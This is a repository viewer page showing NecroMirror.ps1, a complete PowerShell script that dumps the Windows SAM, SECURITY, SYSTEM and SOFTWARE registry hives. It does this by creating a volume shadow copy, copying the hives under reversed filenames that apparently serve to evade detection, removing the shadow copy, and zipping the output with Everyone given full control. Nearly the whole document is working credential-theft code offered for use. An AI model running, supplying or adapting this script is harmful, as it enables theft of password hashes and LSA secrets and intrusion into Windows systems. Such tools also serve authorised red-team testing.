etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
NecroMirror.ps1 (2874B)
      1 <#
      2     Author: vari.sh
      3 
      4     Description: This script lets you dump SAM, SECURITY, SYSTEM, SOFTWARE without using Rubeus or Mimikatz.
      5                  It creates a shadow copy of C: and copies the files to C:\Windows\Tasks, then compresses them into a ZIP archive.
      6                  Warning: it needs Administrator privileges.
      7     Usage: .\NecroMirror.ps1
      8 #>
      9 
     10 # Get current user
     11 $actualUser = $env:USERNAME
     12 $outputPath = "C:\Windows\Tasks"
     13 
     14 Write-Output "[+] Creating shadow copy"
     15 # Create C: shadow copy
     16 wmic shadowcopy call create Volume='C:\' > $null 2>&1
     17 
     18 # Get shadow copy ID and Path
     19 $shadowCopyID = (vssadmin list shadows | Select-String -Pattern "Shadow Copy ID:" | Select-Object -Last 1).ToString().Split(':')[1].Trim()
     20 $shadowCopyPath = (vssadmin list shadows | Select-String -Pattern "Shadow Copy Volume:" | Select-Object -Last 1).ToString().Split(':')[1].Trim()
     21 
     22 Write-Output "[*] ShadowCopy UUID: $shadowCopyID"
     23 Write-Output "[*] ShadowCopy Path: $shadowCopyPath"
     24 
     25 # Mount shadow copy
     26 $mountPoint = "$outputPath\backup"
     27 Write-Output "[+] Mounting shadow copy in $mountPoint"
     28 cmd /c "mklink /d $mountPoint $shadowCopyPath"
     29 
     30 # Get timestamps
     31 $timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
     32 $zipFilePath = "$outputPath\backup_$timestamp.zip"
     33 
     34 # Copy LSA files
     35 Write-Output "[+] Copying SAM..."
     36 copy "$mountPoint\windows\system32\config\sam" "$outputPath\${timestamp}_mas"
     37 Write-Output "[+] Copying SECURITY..."
     38 copy "$mountPoint\windows\system32\config\security" "$outputPath\${timestamp}_ytiruces"
     39 Write-Output "[+] Copying SYSTEM..."
     40 copy "$mountPoint\windows\system32\config\system" "$outputPath\${timestamp}_metsys"
     41 Write-Output "[+] Copying SOFTWARE..."
     42 copy "$mountPoint\windows\system32\config\software" "$outputPath\${timestamp}_erawtfos"
     43 
     44 # Deletes mounted folder
     45 Write-Output "[-] Deleting symlink"
     46 rm $mountPoint
     47 
     48 # Delete shadow copy
     49 Write-Output "[-] Deleting shadow copy"
     50 vssadmin delete shadows /Shadow="$shadowCopyID" /Quiet > $null 2>&1
     51 
     52 # Compress files into a ZIP archive
     53 Write-Output "[+] Creating ZIP archive: $zipFilePath"
     54 Compress-Archive -Path "$outputPath\${timestamp}_mas", "$outputPath\${timestamp}_ytiruces", "$outputPath\${timestamp}_metsys", "$outputPath\${timestamp}_erawtfos" -DestinationPath $zipFilePath
     55 
     56 # Modify permissions to make the ZIP file readable by everyone
     57 Write-Output "[+] Modifying ZIP file permissions"
     58 $acl = Get-Acl $zipFilePath
     59 $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone", "FullControl", "Allow")
     60 $acl.SetAccessRule($accessRule)
     61 Set-Acl -Path $zipFilePath -AclObject $acl
     62 
     63 # Remove original files
     64 Write-Output "[-] Removing extracted files"
     65 Remove-Item "$outputPath\${timestamp}_mas", "$outputPath\${timestamp}_ytiruces", "$outputPath\${timestamp}_metsys", "$outputPath\${timestamp}_erawtfos" -Force
     66 
     67 Write-Output "[+] Operation completed. Archive saved at $zipFilePath"